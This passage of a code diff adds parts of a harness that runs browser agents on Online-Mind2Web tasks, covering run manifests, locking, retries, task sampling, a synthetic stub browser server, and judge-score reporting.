...fields.map(key => csvCell(row[key])), ...judgeColumns.map(key => csvCell(row.judge_verdicts[key])), + ].join(',')).join('\n') + '\n'); + const groups = new Map(); + for (const judge of judges) { + const key = `${judge.model}/${judge.variant}`; + if (!groups.has(key)) groups.set(key, []); + groups.get(key).push(judge); + } + const aggregates = [...groups].map(([group, passes]) => { + const complete = manifest.collection_complete && passes.length === (manifest.scripted ? 1 : manifest.judge_passes) && passes.every(judge => judge.expected === manifest.expected && judge.pending_judgments === 0); + const rates = passes.map(judge => judge.success_rate); + return { group, passes: passes.length, complete, mean_success_rate: complete ? rates.reduce((a, b) => a + b, 0) / rates.length : null, + min_success_rate: complete ? Math.min(...rates) : null, max_success_rate: complete ? Math.max(...rates) : null }; + }); + const count = rows.reduce((counts, row) => { counts[row.outcome] = (counts[row.outcome] ?? 0) + 1; return counts; }, {}); + // Byte accounting is limited to immutable attempt artifacts, not live browser caches. + async function bytes(dir) { + let total = 0; + try { for (const entry of await readdir(dir, { withFileTypes: true })) { const file = path.join(dir, entry.name); if (entry.isDirectory()) total += await bytes(file); else if (entry.isFile()) total += (await stat(file)).size; } } catch {} + return total; + } + const artifacts = await bytes(path.join(runDir, 'raw')) + await bytes(path.join(runDir, 'trajectories')); + const usageRecords = manifest.attempts?.length ? manifest.attempts.map(attempt => attempt.final ?? {}) : manifest.outcomes; + const summary = { run_id: path.basename(runDir), driver: manifest.driver, model: manifest.model, effort: manifest.effort, + state: manifest.state, synthetic: manifest.synthetic, expected: manifest.expected ?? manifest.task_ids.length, terminal: manifest.outcomes.length, + exported: rows.filter(row => row.exported).length, counts: count, artifact_bytes: artifacts, + duration_ms: usageRecords.reduce((n, row) => n + (row.duration_ms ?? 0), 0), + input_tokens: usageRecords.reduce((n, row) => n + (row.usage?.input_tokens ?? 0), 0), + output_tokens: usageRecords.reduce((n, row) => n + (row.usage?.output_tokens ?? 0), 0), judges, judge_aggregates: aggregates, disagreements: disagreements.length, + screenshot_retries: usageRecords.reduce((n, row) => n + (row.screenshot_retries ?? 0), 0), + provenance: manifest.provenance, + score_label: `${manifest.model} + FSB; substitute WebJudge models, unverified` }; + await writeFile(path.join(runDir, 'summary.json'), JSON.stringify(summary, null, 2) + '\n'); + const text = [`# ${summary.score_label}`, '', `State: **${summary.state}**. ${summary.terminal}/${summary.expected} tasks have terminal records; ${summary.exported} trajectories exported.`, + '', manifest.synthetic ? 'Synthetic fixture run; not an Online-Mind2Web benchmark result.' : manifest.browser === 'existing' ? 'Shared browser profile; task contexts are independent, browser cookies and site state are shared.' : 'Dedicated browser profile; task contexts are independent, browser cookies and site state are shared within this run.', + '', `Dataset revision: ${manifest.source.revision ?? 'local/fixture'}. SHA256: ${manifest.source.sha256 ?? 'n/a'}.`, + `Limits: ${manifest.max_actions} actions and ${manifest.timeout_seconds} seconds per task. Browser mode: ${manifest.browser}.`, + ...(manifest.provenance ? ['', '## Run provenance', '', manifest.provenance.note] : []), + '', '## Outcomes', '', ...Object.entries(count).map(([key, value]) => `- ${key}: ${value}`), '', `Artifact bytes: ${artifacts}. Input tokens: ${summary.input_tokens}. Output tokens: ${summary.output_tokens}.`, + '', '## Judges', '', '| Job | Successes / expected | Errors | Pending |', '|---|---:|---:|---:|', ...judges.map(j => `| ${j.job} | ${j.successes}/${j.expected} | ${j.errors} | ${j.pending_judgments} |`), '', + ...aggregates.map(group => `${group.group}: ${group.complete ? `mean ${(100 * group.mean_success_rate).toFixed(2)}%; range ${(100 * group.min_success_rate).toFixed(2)}–${(100 * group.max_success_rate).toFixed(2)}% across ${group.passes} passes.` : 'pending; no aggregate score.'}`), '', + 'All expected IDs remain in judge denominators. Pending judging or incomplete collection is not a completed benchmark score.', '', `Judge disagreements: ${disagreements.length}. See per-task.csv, per-task.json and judge-disagreements.json.`, '']; + await writeFile(path.join(runDir, 'REPORT.md'), text.join('\n')); + return summary; +} diff --git a/mind2web/harness/run-bench.mjs b/mind2web/harness/run-bench.mjs new file mode 100644 index 000000000..8dfcaf74c --- /dev/null +++ b/mind2web/harness/run-bench.mjs @@ -0,0 +1,267 @@ +import { mkdir, readFile, appendFile, readdir } from 'node:fs/promises'; +import { existsSync } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { homedir } from 'node:os'; +import { parseArgs } from 'node:util'; +import { BENCH_ROOT, HARNESS_DIR, REPO_ROOT, RESULTS_DIR, runCommand } from './proc.mjs'; +import { loadTasks, sha256, DATASET_REV } from './dataset.mjs'; +import { selectTasks } from './sample.mjs'; +import { preflight } from './preflight.mjs'; +import { checkFocus } from './focus.mjs'; +import { launchChrome, seedExtensionStorage, dismissDialogs, closeTaskTabs } from './chrome.mjs'; +import { runClaudeTask } from './driver-claude-code.mjs'; +import { runCodexTask } from './driver-codex.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { StdioClient } from './mcp-client.mjs'; +import { atomicJson, acquireRunLock, failureClass, refreshRunState } from './run-state.mjs'; +import { writeReport } from './report.mjs'; +import { waitForResource, modelReady } from './readiness.mjs'; +import { runJudgeJobs, JUDGE_PROTOCOL } from './judge-jobs.mjs'; +import { hashTree } from './fingerprint.mjs'; + +export function options(argv) { + const { values } = parseArgs({ args: argv, options: { + 'dry-run': { type: 'boolean', default: false }, 'real-agent': { type: 'boolean', default: false }, judge: { type: 'boolean', default: false }, + resume: { type: 'boolean', default: false }, 'run-id': { type: 'string' }, tasks: { type: 'string', default: 'pilot' }, + dataset: { type: 'string' }, count: { type: 'string', default: '30' }, seed: { type: 'string', default: 'om2w-v1' }, + driver: { type: 'string', default: 'claude' }, browser: { type: 'string', default: 'isolated' }, model: { type: 'string' }, effort: { type: 'string', default: 'medium' }, + 'max-turns': { type: 'string', default: '60' }, 'max-actions': { type: 'string', default: '60' }, 'timeout-seconds': { type: 'string', default: '600' }, + 'budget-usd': { type: 'string', default: '5' }, chrome: { type: 'string' }, 'fsb-server-cmd': { type: 'string' }, + 'wait-for-resources': { type: 'boolean', default: false }, 'wait-seconds': { type: 'string', default: '60' }, 'judge-passes': { type: 'string', default: '3' }, + } }); + values['run-id'] ??= `${values['dry-run'] ? 'dryrun' : 'run'}-${new Date().toISOString().replace(/[:.]/g, '-')}`; + if (!/^[A-Za-z0-9_-]+$/.test(values['run-id'])) throw new Error('Invalid run ID'); + if (!['claude', 'codex'].includes(values.driver)) throw new Error('Invalid driver'); + if (!['existing', 'isolated'].includes(values.browser)) throw new Error('Invalid browser mode'); + values.model ??= values.driver === 'codex' ? 'gpt-6.1-sol' : 'claude-opus-5-5'; + for (const key of ['count', 'max-turns', 'max-actions', 'timeout-seconds', 'wait-seconds', 'judge-passes']) { + if (!Number.isInteger(Number(values[key])) || Number(values[key]) < 1) throw new Error(`--${key} must be a positive integer`); + } + if (!(Number(values['budget-usd']) > 0)) throw new Error('--budget-usd must be positive'); + return values; +} + +export async function runScriptedTask(task, rawDir, serverCommand, env = process.env) { + const client = new StdioClient([process.execPath, path.join(HARNESS_DIR, 'mcp-record-proxy.mjs'), '--', ...serverCommand], { + env: { ...env, OM2W_RAW_DIR: rawDir, OM2W_START_URL: task.website }, + }); + try { + await client.initialize(); await client.request('tools/list'); + for (const [name, args] of [['read_page', {}], ['click', { selector: '#blue-widget', visual_reason: 'Inspect the listed Blue Widget' }], ['get_text', { selector: '#price' }]]) { + const result = await client.request('tools/call', { name, arguments: args }); + if (result.isError) throw new Error(JSON.stringify(result)); + } + const final = { task_id: task.task_id, model: 'scripted-fixture', final_answer: 'The Blue Widget costs $19.99.', outcome: 'complete', + num_turns: 3, duration_ms: 0, usage: null, total_cost_usd: 0, session_id: null, error: null, synthetic: true }; + await atomicJson(path.join(rawDir, 'final.json'), final); + return final; + } finally { await client.close(); } +} + +export async function runBench(o, dependencies = {}) { + const dry = o['dry-run']; + const signal = dependencies.signal; + const inspect = dependencies.preflight ?? preflight; + const sleep = dependencies.wait ?? waitForResource; + const run = dependencies.runCommand ?? runCommand; + const drivers = { claude: runClaudeTask, codex: runCodexTask, ...dependencies.drivers }; + const createHub = dependencies.createHub ?? (command => new StdioClient(command)); + const runDir = path.join(dependencies.resultsDir ?? RESULTS_DIR, o['run-id']); + await mkdir(runDir, { recursive: true }); + const releaseLock = await acquireRunLock(runDir); + const manifestPath = path.join(runDir, 'manifest.json'); + let browser, hub, manifest; + async function checkpoint() { + manifest.updated_at = new Date().toISOString(); + if (manifest.task_ids.length) refreshRunState(manifest); + await atomicJson(manifestPath, manifest); + await writeReport(runDir, manifest); + } + async function pause(state, error) { + manifest.state = state; + manifest.last_error = error; + manifest.next_check_at = o['wait-for-resources'] ? new Date(Date.now() + Number(o['wait-seconds']) * 1000).toISOString() : null; + await checkpoint(); + console.log(JSON.stringify({ state, error, pending: manifest.pending_ids?.length ?? manifest.expected, next_check_at: manifest.next_check_at })); + if (!o['wait-for-resources'] || signal?.aborted) return false; + await sleep(Number(o['wait-seconds']) * 1000, signal); + return !signal?.aborted; + } + async function health(sourcePath) { + const checks = await inspect({ full: o.tasks === 'all', chromePath: o.chrome, datasetPath: sourcePath, + browserMode: o.browser, driver: o.driver, serverCommand: manifest.server_command, checkDataset: false }); + await atomicJson(path.join(runDir, 'preflight.json'), checks); + return checks; + } + async function recover(failure, error, sourcePath) { + if (!(await pause(failure === 'quota' ? 'waiting_for_quota' : 'waiting_for_browser', error))) return false; + if (failure === 'quota') { + while (!signal?.aborted) { + const ready = await (dependencies.modelReady ?? modelReady)({ driver: o.driver, model: o.model, effort: o.effort, signal }); + await appendFile(path.join(runDir, 'resource-probes.jsonl'), JSON.stringify(ready) + '\n'); + if (ready.ok) break; + if (!(await pause('waiting_for_quota', 'Model subscription remains unavailable'))) return false; + } + } + if (!dry) while (!signal?.aborted) { + const checks = await health(sourcePath); + if (checks.ok) break; + if (!(await pause('waiting_for_browser', checks.checks.filter(c => !c.ok).map(c => c.detail).join('; ')))) return false; + } + return !signal?.aborted; + } + try { + if (existsSync(manifestPath) && !o.resume) throw new Error('Run already exists; use --resume or a new --run-id'); + if (o.resume && !existsSync(manifestPath)) throw new Error('No manifest to resume'); + const nativeEntry = path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'); + const serverCommand = dry ? [process.execPath, path.join(HARNESS_DIR, 'stub-fsb-server.mjs')] : o['fsb-server-cmd'] ? JSON.parse(o['fsb-server-cmd']) : + o.browser === 'existing' && existsSync(nativeEntry) ? [process.execPath, nativeEntry, 'stdio'] : ['npx', '-y', 'fsb-mcp-server@0.11.2', 'stdio']; + if (!Array.isArray(serverCommand) || !serverCommand.length || serverCommand.some(v => typeof v !== 'string')) throw new Error('Invalid FSB server command'); + const commit = await run('git', ['rev-parse', 'HEAD'], { cwd: REPO_ROOT }); + const names = (await readdir(HARNESS_DIR)).filter(name => name.endsWith('.mjs') || name.endsWith('.py')).sort(); + const harnessSource = Buffer.concat(await Promise.all(names.map(async name => Buffer.concat([Buffer.from(name), await readFile(path.join(HARNESS_DIR, name))])))); + const judgeFiles = ['om2w_judge/runner.py', 'om2w_judge/engines.py', 'upstream/src/methods/webjudge_online_mind2web.py', 'upstream/src/utils.py', 'requirements.lock.txt']; + const judgeSource = Buffer.concat(await Promise.all(judgeFiles.map(name => readFile(path.join(BENCH_ROOT, 'judge', name))))); + const provenancePath = path.join(runDir, 'provenance.json'); + const provenance = existsSync(provenancePath) ? await readFile(provenancePath) : null; + const config = { format_version: 2, synthetic: dry, scripted: dry && !o['real-agent'], driver: o.driver, browser: o.browser, + model: o.model, effort: o.effort, max_turns: Number(o['max-turns']), max_actions: Number(o['max-actions']), timeout_seconds: Number(o['timeout-seconds']), + budget_usd: o.driver === 'claude' ? Number(o['budget-usd']) : null, seed: o.seed, task_selection: o.tasks, count: Number(o.count), + judge_passes: Number(o['judge-passes']), judge_protocol: JUDGE_PROTOCOL, server_command: serverCommand, fsb_commit: commit.stdout.trim(), harness_sha256: sha256(harnessSource), + judge_sha256: sha256(judgeSource), + provenance_sha256: provenance ? sha256(provenance) : null, + fsb_runtime_sha256: !dry && serverCommand[1]?.endsWith('/build/index.js') && existsSync(serverCommand[1]) ? await hashTree(path.dirname(serverCommand[1])) : null, + allowlist_sha256: sha256(await readFile(path.join(BENCH_ROOT, 'config/tool-allowlist.json'))), + agent_prompt_sha256: sha256(await readFile(path.join(BENCH_ROOT, 'config/agent-prompt.md'))) }; + manifest = o.resume ? JSON.parse(await readFile(manifestPath, 'utf8')) : { ...config, started_at: new Date().toISOString(), + source: { revision: dry ? null : DATASET_REV, sha256: null }, task_ids: [], outcomes: [], attempts: [], + expected: dry ? 1 : o.tasks === 'all' ? 300 : Number(o.count), state: 'initializing', provenance: provenance ? JSON.parse(provenance) : null }; + if (o.resume) for (const key of Object.keys(config)) if (JSON.stringify(config[key]) !== JSON.stringify(manifest[key])) throw new Error(`Cannot resume: ${key} changed`); + if (!dry && o.browser === 'existing' && !manifest.collection_complete) { + while (!signal?.aborted) { + try { hub = createHub(serverCommand); await hub.initialize(); break; } + catch (err) { + if (hub) await hub.close(); hub = null; + if (!(await pause('waiting_for_browser', err.message))) return { runDir, manifest }; + } + } + } + let loaded; + while (!signal?.aborted) { + try { + loaded = dry ? { tasks: [{ task_id: '00000000000000000000000000000001', confirmed_task: 'Find the price of the Blue Widget.', website: 'https://store.example/', reference_length: 2, level: 'easy' }], source: { revision: null, sha256: null, synthetic: true } } : await (dependencies.loadTasks ?? loadTasks)({ datasetPath: o.dataset }); + break; + } catch (err) { if (!(await pause('waiting_for_dataset', err.message))) return { runDir, manifest }; } + } + if (!loaded) { manifest.state = 'paused'; await checkpoint(); return { runDir, manifest }; } + if (!dry && o.tasks === 'all' && loaded.tasks.length !== 300) throw new Error(`Full benchmark requires exactly 300 tasks; got ${loaded.tasks.length}`); + const ids = ['pilot', 'all'].includes(o.tasks) ? undefined : JSON.parse(await readFile(o.tasks, 'utf8')); + const selected = o.tasks === 'all' ? loaded.tasks : selectTasks(loaded.tasks, { count: dry ? 1 : Number(o.count), seed: o.seed, ids }); + const selectedIds = selected.map(task => task.task_id); + if (manifest.task_ids.length && (JSON.stringify(manifest.task_ids) !== JSON.stringify(selectedIds) || manifest.source.sha256 !== loaded.source.sha256 || manifest.source.revision !== loaded.source.revision)) throw new Error('Cannot resume: dataset or selected IDs changed'); + manifest.source = loaded.source; manifest.task_ids = selectedIds; + await atomicJson(path.join(runDir, 'task-ids.json'), selectedIds); + await checkpoint(); + const env = { ...process.env }; + if (dry) { + const shot = path.join(runDir, 'synthetic-store.png'); + const result = await run(path.join(BENCH_ROOT, 'judge/.venv/bin/python'), [path.join(HARNESS_DIR, 'fixture-image.py'), shot]); + if (result.code !== 0) throw new Error('Could not render synthetic fixture: ' + result.stderr); + env.OM2W_STUB_SCREENSHOT = shot; + } else if (selected.some(task => !manifest.outcomes.some(row => row.task_id === task.task_id))) { + while (!signal?.aborted) { + const checks = await health(loaded.source.path); + if (checks.ok) { + manifest.preflight = checks; + if (o.browser === 'isolated') { + const auth = JSON.parse(await readFile(path.join(homedir(), '.fsb/bridge-auth.json'), 'utf8')); + if (!auth.allowedExtensionOrigin || !auth.sessionSecret) throw new Error('Live rig needs an existing FSB bridge pairing'); + hub = createHub(serverCommand); await hub.initialize(); + browser = await launchChrome({ chromePath: checks.chromePath, extensionDir: path.join(REPO_ROOT, 'extension'), userDataDir: path.join(runDir, 'chrome-profile') }); + await seedExtensionStorage(browser.cdp, `fsb-auth.${auth.sessionSecret}`, auth.allowedExtensionOrigin); await dismissDialogs(browser.cdp); + manifest.chrome_version = browser.version; + } + break; + } + if (!(await pause('waiting_for_browser', checks.checks.filter(c => !c.ok).map(c => `${c.name}: ${c.detail}`).join('; ')))) return { runDir, manifest }; + } + } + for (const task of selected) { + if (signal?.aborted) break; + if (manifest.outcomes.some(row => row.task_id === task.task_id)) continue; + const previous = manifest.attempts.filter(row => row.task_id === task.task_id).at(-1); + if (previous?.processed && previous.failure_class !== 'task' && manifest.attempts.filter(row => row.task_id === task.task_id).length < 2) { + if (!(await recover(previous.failure_class, previous.final.error, loaded.source.path))) return { runDir, manifest }; + } + while (!signal?.aborted && !manifest.outcomes.some(row => row.task_id === task.task_id)) { + const attempts = manifest.attempts.filter(row => row.task_id === task.task_id); + let attempt = attempts.at(-1); + let final; + if (attempt && !attempt.processed) { + final = await readFile(path.join(attempt.raw_dir, 'final.json'), 'utf8').then(JSON.parse).catch(() => ({ outcome: 'rig_failure', error: 'Task controller interrupted before writing a final result' })); + } else { + if (attempts.length >= 2) { manifest.state = 'paused_retry_exhausted'; manifest.last_error = `Infrastructure retries exhausted for ${task.task_id}`; await checkpoint(); return { runDir, manifest }; } + const rawDir = path.join(runDir, 'raw', task.task_id, `attempt-${attempts.length + 1}`); + await mkdir(rawDir, { recursive: true }); + attempt = { task_id: task.task_id, index: attempts.length + 1, raw_dir: rawDir, state: 'running', started_at: new Date().toISOString() }; + manifest.attempts.push(attempt); manifest.state = 'running'; manifest.current_task_id = task.task_id; + await checkpoint(); + if (!dry && o.browser === 'isolated' && !(await checkFocus()).ok) final = { outcome: 'rig_failure', error: 'Chrome for Testing must be frontmost' }; + else final = dry && !o['real-agent'] ? await runScriptedTask(task, rawDir, serverCommand, env) : await drivers[o.driver]({ task, rawDir, serverCommand, + model: o.model, effort: o.effort, maxTurns: Number(o['max-turns']), maxActions: Number(o['max-actions']), timeoutMs: Number(o['timeout-seconds']) * 1000, budgetUsd: Number(o['budget-usd']), env, signal }); + } + if (signal?.aborted) final = { ...final, outcome: 'rig_failure', final_answer: null, error: 'Task controller interrupted; partial attempt retained' }; + attempt.state = 'finished'; attempt.final = final; attempt.ended_at = new Date().toISOString(); attempt.processed = true; + await atomicJson(path.join(attempt.raw_dir, 'final.json'), final); + const failure = failureClass(final); attempt.failure_class = failure; + await appendFile(path.join(runDir, 'attempts.jsonl'), JSON.stringify(attempt) + '\n'); + if (failure !== 'task') { + await checkpoint(); + if (manifest.attempts.filter(row => row.task_id === task.task_id).length >= 2) { manifest.state = 'paused_retry_exhausted'; await checkpoint(); return { runDir, manifest }; } + if (!(await recover(failure, final.error, loaded.source.path))) return { runDir, manifest }; + continue; + } + const row = { task_id: task.task_id, outcome: final.outcome, exported: false, selected_attempt: attempt.index, raw_dir: attempt.raw_dir, + error: final.error, action_count: final.action_count, screenshot_retries: final.screenshot_retries, duration_ms: final.duration_ms, usage: final.usage }; + try { + const written = await writeV2({ task, rawDir: attempt.raw_dir, outDir: path.join(runDir, 'trajectories') }); + row.validation = await validateTrajectoryDir(written.dir); row.exported = row.validation.ok; row.warnings = written.warnings; + } catch (err) { row.export_error = err.message; } + manifest.outcomes.push(row); + await appendFile(path.join(runDir, 'outcomes.jsonl'), JSON.stringify(row) + '\n'); + await checkpoint(); console.log(JSON.stringify(row)); + if (browser) await closeTaskTabs(browser.cdp); + } + } + refreshRunState(manifest); + manifest.state = signal?.aborted ? 'paused' : manifest.collection_complete ? 'collection_complete' : manifest.state; + await checkpoint(); + if (o.judge && manifest.collection_complete && !signal?.aborted) { + manifest.state = 'judging'; await checkpoint(); + const judged = await (dependencies.runJudgeJobs ?? runJudgeJobs)({ runDir, manifest, passes: manifest.judge_passes, + syntheticModels: dry && !o['real-agent'], wait: o['wait-for-resources'], waitMs: Number(o['wait-seconds']) * 1000, signal }); + manifest.state = judged.complete ? 'complete' : 'waiting_for_judges'; + } + manifest.ended_at = new Date().toISOString(); await checkpoint(); + return { runDir, manifest }; + } catch (err) { + if (manifest) { manifest.state = 'paused_error'; manifest.last_error = err.message; await checkpoint(); } + throw err; + } finally { + try { if (browser) await browser.close(); } + finally { try { if (hub) await hub.close(); } finally { await releaseLock(); } } + } +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const controller = new AbortController(); + process.once('SIGTERM', () => controller.abort()); process.once('SIGINT', () => controller.abort()); + try { + const cli = options(process.argv.slice(2)); + const result = await runBench(cli, { signal: controller.signal }); + console.log(JSON.stringify({ runDir: result.runDir, state: result.manifest.state, expected: result.manifest.expected, attempted: result.manifest.attempted ?? 0, exported: result.manifest.exported ?? 0 })); + if (!result.manifest.collection_complete || (cli.judge && result.manifest.state !== 'complete')) process.exitCode = 1; + } catch (err) { console.error(err.message); process.exitCode = 1; } +} diff --git a/mind2web/harness/run-state.mjs b/mind2web/harness/run-state.mjs new file mode 100644 index 000000000..7a0fe682e --- /dev/null +++ b/mind2web/harness/run-state.mjs @@ -0,0 +1,52 @@ +import { mkdir, readFile, writeFile, rename, open, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +export function failureClass(final) { + const error = final.error ?? ''; + if (/usage.limit|session limit|rate.limit|quota|429|insufficient_quota|usage_limit_reached|hit your.*limit|limit.*resets/i.test(error)) return 'quota'; + if (final.cleanup_ok === false || final.outcome === 'rig_failure') return 'infrastructure'; + if (final.outcome === 'never_started') return 'startup'; + return 'task'; +} + +export async function atomicJson(file, value) { + await mkdir(path.dirname(file), { recursive: true }); + const temporary = `${file}.${process.pid}.tmp`; + await writeFile(temporary, JSON.stringify(value, null, 2) + '\n'); + await rename(temporary, file); +} + +export async function acquireRunLock(runDir) { + const file = path.join(runDir, '.lock'); + for (let attempt = 0; attempt < 2; attempt++) { + try { + const handle = await open(file, 'wx'); + await handle.writeFile(JSON.stringify({ pid: process.pid, created_at: new Date().toISOString() })); + return async () => { await handle.close(); await unlink(file).catch(() => {}); }; + } catch (err) { + if (err.code !== 'EEXIST') throw err; + let recovery; + try { recovery = await open(file + '.recovery', 'wx'); } + catch (error) { if (error.code === 'EEXIST') throw new Error('Another process is recovering the run lock'); throw error; } + try { + let owner; + try { owner = JSON.parse(await readFile(file, 'utf8')); } catch { throw new Error('Run lock is unreadable; inspect it before removing it'); } + if (!Number.isInteger(owner.pid) || owner.pid < 1) throw new Error('Run lock has an invalid owner'); + try { process.kill(owner.pid, 0); throw new Error('Run is already active in process ' + owner.pid); } + catch (error) { if (error.code !== 'ESRCH') throw error; } + await unlink(file); + } finally { await recovery.close(); await unlink(file + '.recovery').catch(() => {}); } + } + } + throw new Error('Unable to acquire run lock'); +} + +export function refreshRunState(manifest) { + const rows = new Map(manifest.outcomes.map(row => [row.task_id, row])); + manifest.expected = manifest.task_ids.length; + manifest.attempted = manifest.task_ids.filter(id => rows.has(id)).length; + manifest.exported = manifest.task_ids.filter(id => rows.get(id)?.exported).length; + manifest.pending_ids = manifest.task_ids.filter(id => !rows.has(id)); + manifest.collection_complete = manifest.pending_ids.length === 0; + return manifest; +} diff --git a/mind2web/harness/sample.mjs b/mind2web/harness/sample.mjs new file mode 100644 index 000000000..d7250ac10 --- /dev/null +++ b/mind2web/harness/sample.mjs @@ -0,0 +1,21 @@ +import { createHash } from 'node:crypto'; + +export function selectTasks(tasks, { count = tasks.length, seed = 'om2w-v1', ids } = {}) { + if (ids) { + const requested = new Set(ids); + const selected = tasks.filter(t => requested.has(t.task_id)); + if (selected.length !== requested.size) throw new Error('Some requested task IDs are absent from the pinned dataset'); + return selected; + } + if (!Number.isInteger(count) || count < 1 || count > tasks.length) throw new Error('Invalid sample count'); + const rank = t => createHash('sha256').update(`${seed}:${t.task_id}`).digest('hex'); + const groups = new Map(); + for (const t of tasks) { if (!groups.has(t.level)) groups.set(t.level, []); groups.get(t.level).push(t); } + const quotas = [...groups].sort(([a], [b]) => a.localeCompare(b)).map(([level, rows]) => { + const exact = count * rows.length / tasks.length; + return { level, rows: rows.toSorted((a, b) => rank(a).localeCompare(rank(b))), n: Math.floor(exact), fraction: exact % 1 }; + }); + let remaining = count - quotas.reduce((n, q) => n + q.n, 0); + for (const q of quotas.toSorted((a, b) => b.fraction - a.fraction)) if (remaining-- > 0) q.n++; + return quotas.flatMap(q => q.rows.slice(0, q.n)); +} diff --git a/mind2web/harness/stub-fsb-server.mjs b/mind2web/harness/stub-fsb-server.mjs new file mode 100644 index 000000000..0cbadb449 --- /dev/null +++ b/mind2web/harness/stub-fsb-server.mjs @@ -0,0 +1,39 @@ +import { createInterface } from 'node:readline'; +import { readFileSync } from 'node:fs'; +import { encodeSolidPng } from './png.mjs'; + +const allowlist = JSON.parse(readFileSync(new URL('../config/tool-allowlist.json', import.meta.url))); +let url = 'https://store.example/'; +let captures = 0; +const shot = process.env.OM2W_STUB_SCREENSHOT ? readFileSync(process.env.OM2W_STUB_SCREENSHOT) : encodeSolidPng(320, 200, [235, 240, 245]); +const names = [...Object.keys(allowlist.actions), ...allowlist.reads, 'open_tab', 'close_tab', 'capture_screenshot', 'execute_js', 'run_task']; +function text(data) { return { content: [{ type: 'text', text: JSON.stringify(data) }] }; } +async function handle(method, params) { + if (method === 'initialize') return { protocolVersion: '2024-11-05', capabilities: { tools: {} }, serverInfo: { name: 'synthetic-fsb', version: '1' } }; + if (method === 'ping') return {}; + if (method === 'tools/list') return { tools: names.map(name => ({ name, description: `Synthetic ${name}`, inputSchema: { + type: 'object', properties: Object.fromEntries((allowlist.params[name]?.properties ?? []).map(p => [p, { type: ['active', 'full', 'clear_first', 'is_final'].includes(p) ? 'boolean' : ['tab_id', 'amount'].includes(p) ? 'number' : 'string' }])), + required: allowlist.params[name]?.required ?? [], + } })) }; + if (method !== 'tools/call') throw new Error('Unsupported method'); + const { name, arguments: args = {} } = params; + if (process.env.OM2W_STUB_EXIT_TOOL === name) process.exit(3); + if (process.env.OM2W_STUB_FAIL_TOOL === name) return { ...text({ success: false, error: 'Synthetic tool failure' }), isError: true }; + if (name === 'capture_screenshot' && captures++ < Number(process.env.OM2W_STUB_TRANSIENT_CAPTURES ?? 0)) return { ...text({ success: false, error: 'Frame with ID 0 was removed.' }), isError: true }; + if (name === 'capture_screenshot') return { content: [ + { type: 'text', text: JSON.stringify({ source_url: url, width: 800, height: 480 }) }, + { type: 'image', data: shot.toString('base64'), mimeType: 'image/png' }, + ] }; + if (name === 'open_tab' || name === 'navigate') url = args.url; + if (allowlist.reads.includes(name)) return text({ success: true, url, text: 'Widget Store. Blue Widget. Price: $19.99. In stock. Buy button.', elements: [{ selector: '#blue-widget', text: 'Blue Widget — $19.99' }] }); + if (!names.includes(name)) return { ...text({ error: 'Unknown tool' }), isError: true }; + return text({ success: true, tabId: 17, url }); +} +const lines = createInterface({ input: process.stdin }); +for await (const line of lines) { + let msg; + try { msg = JSON.parse(line); } catch { continue; } + if (msg.id === undefined) continue; + try { process.stdout.write(`${JSON.stringify({ jsonrpc: '2.0', id: msg.id, result: await handle(msg.method, msg.params ?? {}) })}\n`); } + catch (err) { process.stdout.write(`${JSON.stringify({ jsonrpc: '2.0', id: msg.id, error: { code: -32603, message: err.message } })}\n`); } +} diff --git a/mind2web/harness/task-gateway.mjs b/mind2web/harness/task-gateway.mjs new file mode 100644 index 000000000..7e434e24d --- /dev/null +++ b/mind2web/harness/task-gateway.mjs @@ -0,0 +1,207 @@ +import { createServer } from 'node:net'; +import { createInterface } from 'node:readline'; +import { mkdtemp, chmod, rm, mkdir, appendFile } from 'node:fs/promises'; +import { randomUUID } from 'node:crypto'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { RecordingProxy, resultData } from './mcp-record-proxy.mjs'; +import { operationClock } from './browser-scheduler.mjs'; + +const rejection = (code, error, execution_outcome = 'not_executed') => ({ isError: true, + content: [{ type: 'text', text: JSON.stringify({ success: false, code, error, execution_outcome }) }] }); + +// The controller retains ownership and the running slot until bounded native +// work settles, even when a downstream request is cancelled or disconnected. +export async function startTaskGateway(options) { + const work = await mkdtemp(path.join(tmpdir(), 'om2w-rpc-')); + const socketPath = path.join(work, 'rpc.sock'); + const ProxyClass = options.ProxyClass ?? RecordingProxy; + const proxy = new ProxyClass(options); + const now = options.gatewayNow ?? Date.now, clock = options.gatewayClock ?? operationClock; + const setTimer = options.gatewaySetTimeout ?? setTimeout, clearTimer = options.gatewayClearTimeout ?? clearTimeout; + const maxQueueMs = Math.max(0, Math.min(60_000, options.gatewayQueueTimeoutMs ?? 60_000)); + const maxOperationMs = Math.max(1, Math.min(295_000, options.gatewayOperationTimeoutMs ?? 295_000)); + const sockets = new Set(), entries = new Set(), requests = new Map(), background = new Set(); + let queue = Promise.resolve(), journal = Promise.resolve(), initialized, closing = false, closed, journalError; + const rawReady = mkdir(options.rawDir, { recursive: true }); + const elapsed = (start, end) => Math.max(0, end.monotonic_ms - start.monotonic_ms); + const track = promise => { + const held = promise.catch(error => { + journalError ??= error; + proxy.scheduler?.halt('Task gateway evidence could not be persisted: ' + error.message); + proxy.onFault?.({ code: 'GATEWAY_EVIDENCE_FAILED', error: error.message }); + }); + background.add(held); held.finally(() => background.delete(held)); return held; + }; + const log = (entry, event, fields = {}) => { + const context = entry.context; + const row = { event, at: clock(), request_id: entry.message.id, gateway_request_id: context.gateway_request_id, + method: entry.message.method, tool: entry.message.params?.name ?? null, + received: context.received, dispatched: context.dispatched ?? null, finished: context.finished ?? null, + queue_wait_ms: context.queue_wait_ms ?? null, queue_deadline_epoch_ms: context.queue_deadline_epoch_ms, + operation_deadline_epoch_ms: context.operation_deadline_epoch_ms, + operation_ids: [...(context.operation_ids ?? [])], ...fields }; + const written = journal.then(async () => { await rawReady; await appendFile(path.join(options.rawDir, 'gateway-requests.jsonl'), JSON.stringify(row) + '\n'); }); + journal = written.catch(() => {}); return written; + }; + const forget = entry => { + clearTimer(entry.queueTimer); clearTimer(entry.operationTimer); + entries.delete(entry); requests.get(entry.socket)?.delete(entry.message.id); + }; + const send = (entry, result, rpcError) => { + if (entry.responded || entry.socket.destroyed || !entry.socket.writable) return false; + entry.responded = true; + entry.socket.write(JSON.stringify({ jsonrpc: '2.0', id: entry.message.id, + ...(rpcError ? { error: rpcError } : { result }) }) + '\n'); + return true; + }; + const 